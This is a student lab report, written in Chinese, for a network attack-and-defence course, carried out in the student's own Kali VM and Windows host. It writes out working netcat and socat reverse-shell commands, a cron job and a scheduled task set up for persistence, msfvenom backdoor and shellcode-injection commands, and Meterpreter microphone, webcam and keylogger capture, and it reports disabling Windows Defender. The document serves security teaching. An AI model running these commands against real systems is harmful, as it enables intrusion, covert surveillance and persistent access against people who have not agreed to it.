20232315 2025-2026-1 《網絡與系統攻防技術》實驗二實驗報告
目錄
一、實驗基本信息
-
實驗環境:Kali Linux虛擬機 + VMware Workstation;windows主機
-
實驗工具:netcat,socat,MSF等
-
實驗時間:2025.10.14
二、實驗內容
-
使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
-
使用socat獲取主機操作Shell, 任務計劃啟動
-
使用MSF meterpreter(或其他軟件)生成可執行文件(后門),利用ncat或socat傳送到主機并運行獲取主機Shell
-
使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容的后門,并嘗試提權
-
使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
三、實驗要求
-
掌握后門原理及免殺技術
-
回答問題
-
例舉你能想到的一個后門進入到你系統中的可能方式?
-
例舉你知道的后門如何啟動起來(win及linux)的方式?
-
Meterpreter有哪些給你映像深刻的功能?
-
如何發現自己有系統有沒有被安裝后門?
-
四、實驗過程
4.1 使用netcat獲取主機操作Shell
ipconfig獲取主機IP地址

主機IP:192.168.149.1
- Windows上在4444端口啟動監聽
nact.exe -l -p 4444

- 在4444端口啟動netcat監聽,當有連接時執行bash shell
nc 192.168.149.1 4444 -e /bin/sh

- Windows上獲得kali的shell

ls命令成功執行;whoami命令結果:kali
- 執行
script -qc /bin/bash /dev/null獲取完整的shell

- 執行
crontab -l查看cron服務,若有則執行crontab -r刪除,再用echo "* * * * * /bin/nc 192.168.149.1 4444 -e /bin/bash >/dev/null 2>&1" | crontab -添加指定cron服務,本實驗中添加的服務會使kali中每分鐘執行一次nc 192.168.149.1 4444 -e /bin/bash,這樣一來只要在Windows主機上執行監聽就能獲取kali的shell

- cron任務驗證,主機執行
ncat.exe -l -p 4444 -v,直接獲取kali的shell

4.2 使用socat獲取主機操作Shell, 任務計劃啟動
-
利用windows的任務計劃程序來自啟動,獲取shell
-
打開任務計劃程序,創建系統級計劃任務,定義后門的啟動條件和行為

- 設置觸發器,確定任務如何啟動,什么時候啟動,這里設置觸發器類型為一次,在實驗當天的21:40啟動

- 設置活動參數,程序或腳本寫入socat.exe位置:
D:\socat\socat\socat.exe;添加參數TCP-LISTEN:2315 EXEC:cmd.exe,pty,stderr,在2315端口建立TCP監聽,當有連接時執行Windows命令提示符,創建偽終端,提供完整的終端功能并將標準錯誤重定向到標準輸出

- 完成創建后,可以看到SocatBackdoor_20232315任務正在運行(此時已過了任務啟動時間)

- 在windows上驗證2315端口監聽功能,已正常監聽

- 在kali終端執行
socat - tcp:192.168.149.1:2315,獲取windows的shell

終端命令可正常執行,獲取成功。
4.3 使用MSF生成可執行文件(后門),利用ncat或socat傳送到主機并運行獲取主機Shell
-
生成Windows后門程序,kali上執行命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=2315 -f exe > backdoor20232315.exe-p windows/meterpreter/reverse_tcp:使用Windows的Meterpreter反向TCP載荷LHOST=192.168.149.129:Kali的IP地址(監聽端)LPORT=2315:監聽端口-f exe:輸出格式為Windows可執行文件

- 使用http傳輸,在Kali上啟動HTTP服務,執行:
python3 -m http.server 8080

- 在Windows上下載后門文件,在Windows PowerShell中執行:
Invoke-WebRequest -Uri "http://192.168.149.129:8080/backdoor20232315.exe" -OutFile "D:\netcat\ncat\backdoor20232315.exe"
等待文件傳輸完成后執行dir backdoor20232315.exe,檢查文件是否存在

- 設置MSF監聽器,新開一個kali終端執行
msfconsole,在msfconsole中依次執行:
use exploit/multi/handler # 選擇監聽處理器,使用多功能請求處理器
set payload windows/meterpreter/reverse_tcp # 設置payload載荷類型,與生成后門時一致
set LHOST 192.168.149.129 # 設置監聽地址(kali虛擬機ip地址)
set LPORT 2315 # 設置監聽端口
exploit #開始監聽

- 此時在主機運行傳送過來的后門程序

可以看到msf中:

成功獲取windows主機的shell
4.4 使用MSF生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容的后門,并嘗試提權
- 在MSF框架的Meterpreter會話中執行如下命令:
-
record_mic #獲取音頻,保存到對應目錄下

可以在文件管理器的對應目錄下看到生成的音頻文件
-
webcam_snap #獲取攝像頭,主機攝像頭權限要打開

成功獲取主機攝像頭拍照
-
keyscan_start #記錄主機鍵盤記錄,開始記錄 keyscan_dump #讀取記錄
成功讀取到主機鍵盤的輸入記錄
-
getuid #查看當前用戶 getsystem #提權
第一次提權失敗,后嘗試了AI推薦的一些解決方案,均沒有成功,檢查了一下當前用戶的權限:

從權限列表看,當前用戶賬戶是管理員組的成員,但當前meterpreter進程沒有管理員權限,受UAC限制,只能以標準用戶權限運行,無法執行需要提升權限的操作。
4.5 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
-
利用MSF生成shellcode,注入到目標程序 pwn20232315_shell(存在漏洞的Linux程序)中,當運行程序時同時執行shellcode,獲取kali虛擬機的shell,先執行以下命令生成文件
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.149.129 LPORT=2315 -x /home/kali/Downloads/pwn20232315_shell -f elf > 20232315_pwnshell.elf-
msfvenom: Metasploit框架中的payload生成工具 -
-p linux/x86/meterpreter_reverse_tcp:-
-p 指定payload類型
-
linux/x86/meterpreter_reverse_tcp 是一個針對Linux x86系統的反向TCP連接payload
-
-
LHOST=192.168.149.129: 攻擊者的IP地址(監聽端) -
LPORT=2315: 攻擊者監聽的端口號 -
-x /home/kali/Downloads/pwn20232315_shell:- -x 指定要注入payload的模板文件,并將惡意代碼注入目標可執行文件中
-
-f elf: 輸出格式為ELF(Linux可執行文件格式) -
> 20232315_pwnshell.elf: 將生成的payload重定向到名為20232315_pwnshell.elf的文件中
-
-
執行
msfconsole進入msf控制臺,執行以下命令,設置Metasploit監聽器:use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp #設置payload類型為Linux x86系統的反向TCP meterpreter set LHOST 192.168.149.129 #設置監聽主機(kali)的IP地址 set LPORT 2315 #設置監聽端口 exploit #啟動監聽器
-
另開一個終端執行
./20232315_shell.elf,運行生成的可執行文件
中間退出重新運行了一下20232315_pwnshell.elf文件,但最終成功獲取了kali的shell,完成了攻擊
五、回答問題
-
例舉你能想到的一個后門進入到你系統中的可能方式?
-
攻擊者可能會發送帶有惡意附件的釣魚郵件,偽裝成正常的郵件,受害者點擊后就可能在計算機中被植入后門
-
在一些非官方網站中下載的app就可能帶有惡意后門
-
-
例舉你知道的后門如何啟動起來(win及linux)的方式?
-
Windows:利用任務計劃程序創建定時啟動任務
-
Linux:cron定時任務,如實驗中使用的
-
-
Meterpreter有哪些給你映像深刻的功能?
-
能夠對指定程序生成shellcode并注入,獲取目標主機shell,使用簡單
-
一旦獲取目標主機的shell,就能獲取對方的麥克風、攝像頭、鍵盤記錄等,可以讓被攻擊者在不知不覺中就被監視
-
-
如何發現自己有系統有沒有被安裝后門?
-
檢查是否有異常網絡連接:
netstat -anp | grep ESTABLISHED -
檢查是否有端口在監聽:
ss -tuln | grep LISTEN
-
六、問題及解決方案
1. 后門程序無法運行
問題:第一次在主機運行傳送過來的后門程序,程序無法運行

原因:系統將文件識別成病毒

解決:臨時關閉Windows Defender,打開windows安全中心,關閉實時保護和篡改保護

2. MSF監聽器在不斷地重復發送stage
問題:在進行4.5使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell的實驗時,第一次進行exploit監聽時,鏈接似乎成功了,但MSF監聽器在不斷地重復發送stage,但沒有成功建立meterpreter會話

原因:分析輸出內容發現,連接到達了192.168.149.1,這是windows主機的ip地址,但在這一步的實驗中是需要連接到的是kali虛擬機本身,猜測是因為這一步實驗中使用的監聽端口和4.3 使用MSF生成可執行文件(后門),利用ncat或socat傳送到主機并運行獲取主機Shell中使用的監聽端口相同,而且主機上后門程序還在運行,導致連接錯了地方
解決:徹底結束主機的后門程序,重新進行MSF監聽,并在執行exploit后盡快執行kali上的20232315_pwnshell.elf文件,獲取到了kali的shell。
3. ncat或socat傳輸出錯
在進行4.3 使用MSF生成可執行文件(后門),利用ncat或socat傳送到主機并運行獲取主機Shell時,實驗要求使用ncat或socat傳輸生成的后門程序,但不知為何,我在進行這一步時不是無法傳輸就是文件在傳輸過程中有損壞(其實一開始有成功傳輸的文件,但在更新Metasploit后就不能成功傳輸了),試了AI推薦的方法也沒有解決,所以最后采用了http傳輸。
七、實驗感想
完成試驗后,我感覺本次實驗難度似乎不是太大,但是在進行實驗的過程中總是會遇到各種各樣意想不到的問題,最主要的還是MSF meterpreter的使用。在進行4.3 使用MSF生成可執行文件(后門),利用ncat或socat傳送到主機并運行獲取主機Shell這一步時被卡了很久,我遇到了同學們在群里討論過的比較普遍的問題,也遇到了其他同學沒遇到的問題,過程中甚至搞崩了Metasploit的bundle環境,最后不得不重建虛擬機。總之,于我個人而言本次實驗的過程有些艱難,但也讓我收獲頗多,更深入地了解了Metasploit框架和netcat、socat等工具的作用與如何使用。同時,本次實驗也讓我從攻擊者的角度看到了惡意代碼的威力。作為網絡安全學習者,我們學習的技術既能用于保護系統安全,也可能被惡意使用。在今后的學習和工作中,我們必須時刻遵守職業道德和法律法規,將所學知識用于正當的防御和測試目的。
浙公網安備 33010602011771號